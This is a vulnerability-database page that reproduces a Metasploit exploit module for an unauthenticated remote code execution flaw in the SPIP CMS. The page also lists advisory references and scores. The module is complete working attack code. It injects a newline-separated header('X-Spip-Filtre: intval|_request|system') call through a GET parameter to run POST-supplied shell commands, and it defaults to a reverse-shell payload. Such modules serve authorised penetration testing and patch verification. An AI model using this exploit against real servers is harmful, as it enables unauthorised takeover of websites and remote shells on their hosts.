SPIP X-Spip-Filtre Unauthenticated Remote Code Execution
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-77647 | 21 Aug 202600:00 | – | circl | |
| CVE-2026-77647 | 20 Aug 202622:24 | – | cve | |
| CVE-2026-77647 | 20 Aug 202622:24 | – | cvelist | |
| CVE-2026-77647 | 20 Aug 202622:24 | – | debiancve | |
| EUVD-2026-63757 | 21 Aug 202600:31 | – | euvd | |
| SPIP X-Spip-Filtre Unauthenticated RCE | 20 Aug 202600:00 | – | metasploit | |
| CVE-2026-77647 | 20 Aug 202623:16 | – | nvd | |
| DEBIAN-CVE-2026-77647 | 20 Aug 202623:16 | – | osv | |
| PT-2026-79268 | 20 Aug 202600:00 | – | ptsecurity | |
| Linux Distros Unpatched Vulnerability : CVE-2026-77647 | 21 Aug 202600:00 | – | nessus |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',
'Description' => %q{
This module exploits a PHP function-call injection in SPIP's
template engine. The analyse_resultat_skel() function extracts
<?php header("X-Spip-Filtre: ..."); ?> patterns from the rendered
page body and calls the listed functions as template filters.
A newline character is injected into a GET parameter value, which
places a header() call on its own line inside the compiled PHP
template. The filter chain intval|_request|system reads a shell
command from a POST parameter and executes it.
},
'Author' => [
'Julien Voisin' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],
['CVE', '2026-77647']
],
'Targets' => [
[
'Automatic',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-08-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
rversion = spip_version || spip_plugin_version('spip')
return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
print_status("SPIP Version detected: #{rversion}")
injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }
)
return CheckCode::Unknown('Target did not respond') unless res
phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
matches = phpinfo_markers.count { |m| res.body&.include?(m) }
unless matches >= 2
return CheckCode::Safe('Filter execution was not observed')
end
if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi
disabled = ::Regexp.last_match(1).strip
print_warning("disable_functions: #{disabled}") unless disabled.empty?
end
CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')
end
def exploit
injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n"
print_status('Sending exploit via newline injection (intval|_request|system)...')
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },
'vars_post' => { '0' => payload.encoded }
}
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.00816
SSVC